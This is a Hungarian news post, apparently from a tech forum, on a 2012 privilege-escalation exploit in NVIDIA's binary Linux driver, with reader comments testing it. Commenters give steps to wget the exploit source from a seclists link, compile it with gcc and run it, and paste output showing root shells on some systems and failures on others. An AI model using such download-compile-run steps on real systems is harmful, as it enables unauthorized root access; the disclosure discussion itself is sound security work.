NVIDIA Linux bináris driver priv escalation exploit?

Dave Airlie egy exploitot tett közzé ma a full-disclosure levelezési listán az NVIDIA linuxos bináris driver-éhez, driver-eihez. Airlie azt állítja, hogy névtelenül kapta és nála működik. Elküldték az NVIDIA-nak több mint egy hónappal ezelőtt, de semmi reakció. A szerző névtelen akart maradni, de egyben azt is akarta, hogy az exploit publikálásra kerüljön, ezért Airlie elküldte a listára.

Akinek olyan rendszere van, amelyen prop. NVIDIA driver-rel hajtott chip/kártya található, annak érdemes fokozott figyelemmel kísérnie a fejleményeket. Arról semmilyen információ nincs, hogy mely driver verziókat érinti a probléma. A részletek itt olvashatók.

Hozzászólások

Nem mukodik: Ubuntu 11.04 x64, nVidia driver 295.20

Helyzet ugyan ez. Gentoo alatt is:

x11-drivers/nvidia-drivers-295.59 USE="acpi tools (-multilib)"
sys-kernel/gentoo-sources-3.3.8 USE="-build -deblob -symlink"

UI:
Valami mégis csak történt. Egy konzolra váltás után volt egy "autoresetem".
------
3 fajta matematikus létezik. Aki tud számolni, és aki nem.

Hogyan lehet ellenőrizni - mi az eljárás menete - másik openSUSE (12.1, 64 bit) rendszeren (NVidia driver: 295.59)?
Nem programozó volnék, így kérdésem: mi a teendő a "bin.c" állománnyal?

Lépésenként:
Letöltöd a pub_c.bin állományt

http://seclists.org/fulldisclosure/2012/Aug/att-4/pub_c.bin

átnevezed pub.c névre, konzolt nyitsz, belépsz abba a könyvtárba ahol van, aztán

gcc -c pub.c

majd

gcc pub.o -o pub

aztán futtatod a pub néven keletkező binárist:

./pub

és megnézed a kimenetet.
(kiírja, hogy sikeres vagy sem)

Ha fordítás közben te is warning üzenetet kapnál az 554-ik sorban lévő unsigned long miatt, akkor írj, és tákolunk valamit, mert úgy néz ki hogy az exploit írója csak a 64 bitesekre gondolt...)

-
"Attempting to crack SpeedLock can damage your sanity"

A legfrissebb 64 bites 304.22 beta driver eredménye:

xxxxxx@linux-5750:/home/xxxxxx> ./pub
[*] IDT offset at 0xffffffff81ba8000
[*] Abusing nVidia...
[*] CVE-2012-YYYY
[*] 64-bits Kernel found at ofs 0
[*] Using IDT entry: 220 (0xffffffff81ba8dc0)
[*] Enhancing gate entry...
[*] Triggering payload...
[*] Hiding evidence...
callsetroot returned fffffffffffffffe (-2)
[*] Failed to get root.

Ó, megy ez kérem...295.59


bash-4.2$ ./a.out 
[*] IDT offset at 0xffffffff81de5000
[*] Abusing nVidia...
[*] CVE-2012-YYYY
[*] 64-bits Kernel found at ofs 0
[*] Using IDT entry: 220 (0xffffffff81de5dc0)
[*] Enhancing gate entry...
[*] Triggering payload...
[*] Hiding evidence...
[*] Have root, will travel..
sh-4.2# id -u
0

nálam is működik.

$ dpkg --list nvidia-current
Desired=Unknown/Install/Remove/Purge/Hold
| Status=Not/Inst/Conf-files/Unpacked/halF-conf/Half-inst/trig-aWait/Trig-pend
|/ Err?=(none)/Reinst-required (Status,Err: uppercase=bad)
||/ Név                        Verzió                     Leírás
+++-===========================-===========================-======================================================================
ii  nvidia-current              295.40-0ubuntu1             NVIDIA binary Xorg driver, kernel module and VDPAU library

$ wget -O pub.c http://seclists.org/fulldisclosure/2012/Aug/att-4/pub_c.bin
$ gcc -o pub ./pub.c 
$ ./pub 
[*] IDT offset at 0xffffffff81dd7000
[*] Abusing nVidia...
[*] CVE-2012-YYYY
[*] 64-bits Kernel found at ofs 0
[*] Using IDT entry: 220 (0xffffffff81dd7dc0)
[*] Enhancing gate entry...
[*] Triggering payload...
[*] Hiding evidence...
[*] Have root, will travel..
sh-4.2# whoami 
root
sh-4.2# 

csába...
:)

Ubuntu 12.04 (3.2.0-27-generic) x64 - nvidia-current 295.40-0ubuntu

megy.


[09:32:27] hornyakn@Zeus:~/temp> ./nvidia-root 
[*] IDT offset at 0xffffffff81e35000
[*] Abusing nVidia...
[*] CVE-2012-YYYY
[*] 64-bits Kernel found at ofs 0
[*] Using IDT entry: 220 (0xffffffff81e35dc0)
[*] Enhancing gate entry...
[*] Triggering payload...
[*] Hiding evidence...
callsetroot returned fffffffffffffffe (-2)
[*] Failed to get root.
[09:32:29] hornyakn@Zeus:~/temp> uname -a
Linux Zeus 3.1.10-1.16-desktop #1 SMP PREEMPT Wed Jun 27 05:21:40 UTC 2012 (d016078) x86_64 x86_64 x86_64 GNU/Linux
[09:32:43] hornyakn@Zeus:~/temp> nvidia-
nvidia-bug-report.sh  nvidia-debugdump      nvidia-installer      nvidia-settings       nvidia-smi            nvidia-uninstall      nvidia-xconfig        
[09:32:43] hornyakn@Zeus:~/temp> nvidia-settings --version

nvidia-settings:  version 270.41.06  (abuild@Hatate)  Wed Jul  4 10:42:24 UTC 2012
  The NVIDIA X Server Settings tool.

  This program is used to configure the NVIDIA Linux graphics driver.
  For more detail, please see the nvidia-settings(1) man page.

  Copyright (C) 2004 - 2010 NVIDIA Corporation.

[09:32:51] hornyakn@Zeus:~/temp> cat /etc/SuSE-release
openSUSE 12.1 (x86_64)
VERSION = 12.1
CODENAME = Asparagus
[09:33:19] hornyakn@Zeus:~/temp>

--
Discover It - Have a lot of fun!

Nálam is ez a helyzet. Nekem is van pár SuSE-m, itthon most éppen 5 gép, de egyiket sem sikerült legyűrnöm...(még azért próbálkozom egy-két trükkel a pub.c forrásban, ugyanis minden itthoni gépem 32 bites rendszert futtat)
Szerintem a siker rendszer-, és kernelfüggő lesz.
-
"Attempting to crack SpeedLock can damage your sanity"

Debian Wheezy

$ uname -a
Linux xxx 3.2.0-3-amd64 #1 SMP Thu Jun 28 09:07:26 UTC 2012 x86_64 GNU/Linux

$ ./pub
[*] IDT offset at 0xffffffff8172b000
COULD NOT DO SUPER SECRET HACKING STUFF, YOU ARE ON YOUR OWN!: No such file or directory
[*] Abusing nVidia...

________________________________________
"The vision of Christ that thou dost see
Is my vision’s greatest enemy."